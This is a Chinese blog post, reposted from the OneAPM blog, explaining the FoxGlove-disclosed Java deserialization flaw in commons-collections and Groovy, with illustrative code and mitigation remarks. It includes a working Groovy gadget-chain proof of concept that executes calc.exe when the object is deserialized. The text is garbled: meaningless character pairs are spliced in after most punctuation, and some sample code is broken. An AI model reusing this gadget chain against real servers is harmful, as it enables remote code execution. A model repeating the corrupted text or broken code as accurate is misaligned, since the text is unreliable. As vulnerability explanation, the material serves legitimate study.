Java 反序列化攻擊漏洞由 FoxGlove 的最近的一篇博文爆出骄噪,該漏洞可以被黑客利用向服務(wù)器上傳惡意腳本尚困,或者遠程執(zhí)行命令。
由于目前發(fā)現(xiàn)該漏洞存在于 Apache commons-collections链蕊, Apache xalan 和 Groovy 包中事甜,也就意味著使用了這些包的服務(wù)器(目前發(fā)現(xiàn)有WebSphere, WebLogic滔韵,JBoss)逻谦,第三方框架(Spring,Groovy)奏属,第三方應(yīng)用(Jenkins)跨跨,以及依賴于這些服務(wù)器,框架或者直接/間接引用這些包的應(yīng)用都會受到威脅囱皿,這樣的應(yīng)用的數(shù)量會以百萬計勇婴。
說到漏洞存在的原因,根本還在于 Java 序列化自身的缺陷嘱腥,眾所周知耕渴,序列化的目的是使 Java 對象轉(zhuǎn)化成字節(jié)流,方便存儲或者網(wǎng)絡(luò)上傳輸齿兔。Java 對象分解成字節(jié)碼過程叫做序列化橱脸,從字節(jié)碼組裝成 Java 對象的過程叫做反序列化,這兩個過程分別對應(yīng)于的 writeObject 和 readObject 方法分苇。問題在于 readObject 在利用字節(jié)流組裝 Java 對象時不會調(diào)用構(gòu)造函數(shù)添诉, 也就意味著沒有任何類型的檢查,用戶可以復(fù)寫 readObject() 方法執(zhí)行任何希望執(zhí)行的代碼医寿。
這可能會導(dǎo)致三方面問題:
1. 序列化對象修改了對象或者父類的某個未加保護的關(guān)鍵屬性栏赴,導(dǎo)致未預(yù)料的結(jié)果。
例如:
class Client {
private int value;
public Client(int v) {
if (v <= 0) {
throw new RuntimeException("not positive number");
}
value = v;
}
public void writeObject(ObjectOutputStream oos) throws IOException {
int value = 0; //這里該值被改為0靖秩。(現(xiàn)實中可以通過調(diào)試模式须眷,修改serialize字節(jié)碼或者class instrument等多種方式修改該值)
oos.defaultWriteObject();
}
}
class Controller {
private ArrayBlockingQueue<Client> queue;
public void receiveState(ObjectInputStream o) throws IOException, ClassNotFoundException {
Client s = (Client)o.readObject(); //反序列化不調(diào)用構(gòu)造函數(shù),value的非零檢查不會觸發(fā)
queue.add(s);
}
public Client getClient() throws InterruptedException {
return (Client)queue.take();
}
}
class Server extends Thread {
private Controller controller = new Controller();
private int result = 100;
public void run() {
while (true) {
try {
result = result / controller.getClient().getValue(); // 由于value是0沟突,會導(dǎo)致算數(shù)異常花颗,線程結(jié)束
Thread.sleep(100);
} catch (InterruptedException e) {}
}
}
}
2. 攻擊者可以創(chuàng)建循環(huán)對象鏈,然后序列化惠拭。會導(dǎo)致反序列化無法結(jié)束, 空耗系統(tǒng)資源扩劝。例如:
Set root = new HashSet();
Set s1 = root;
Set s2 = new HashSet();
for (int i = 0; i < 10; i++) {
Set t1 = new HashSet();
Set t2 = new HashSet();
t1.add("foo"); //使t2不等于t1
s1.add(t1);
s1.add(t2);
s2.add(t1);
s2.add(t2);
s1 = t1;
s2 = t2;
}
3. 用戶在收到序列化對象流時可以選擇存儲在本地,以后再處理棒呛。由于沒有任何校驗機制葡公,使得上傳惡意程序成為可能。
class Controller {
public void receiveState(ObjectInputStream ois) {
FileOutputStream fos = new FileOutputStream(new File("xxx.ser"));
fos.write(ois); //實際并不知道存的是什么条霜,可能是惡意腳本。
fos.close();
}
}
那么這次由 FoxGlove 暴露出來的 Serialization Attack 具體是怎樣呢涵亏?下面是 Groovy 的一個例子:
public class GroovyTest {
public static void main(String[] args) throws Exception {
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure("calc.exe", "execute"), "entrySet");
Class<?>[] clsArr = {Map.class};
final Map map = Map.class.cast(Proxy.newProxyInstance(GroovyTest.class.getClassLoader(), clsArr, closure));
final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
final InvocationHandler handler = (InvocationHandler)ctor.newInstance(Override.class, map);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(handler);
byte[] bytes = bos.toByteArray(); //對象被序列化
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject(); //反序列化時calc.exe被執(zhí)行
}
}
在這個例子中宠默,ConvertedClosure 會把一個 Closure 對象映射成 Java 的 entrySet
方法抹沪,而在AnnotationInvocationHandler 的 readObject
方法中融欧,會嘗試調(diào)用 entrySet()
方法噪馏,這會觸發(fā) calc.exe 的調(diào)用拟赊。
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if(var7 != null) {
Object var8 = var5.getValue();
if(!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
針對這個問題,F(xiàn)oxGlove Security 提到開發(fā)者不應(yīng)該反序列化任何不信任的數(shù)據(jù)欢搜,而實際情況卻是開發(fā)者對該問題的危害沒有足夠的認知,他提到一種激進的做法那就是如果你足夠勇敢可以嘗試掃描并刪除存在反序列化漏洞的類吹埠,但是實際情況是第一沒有人敢于冒這種風(fēng)險缘琅,第二,當(dāng)應(yīng)用對象的依賴關(guān)系會很復(fù)雜,反序列化過程會導(dǎo)致很多關(guān)聯(lián)對象被創(chuàng)建雷酪,所以掃描不能保證所有的問題類被發(fā)現(xiàn)蔗怠。
然而幸運的是,這個問題引起了一些安全公司的重視,在他們推出的 RASP(Runtime Application Security Protection)產(chǎn)品中會在應(yīng)用運行期對該漏洞進行防護策治。
本文轉(zhuǎn)自 OneAPM 官方博客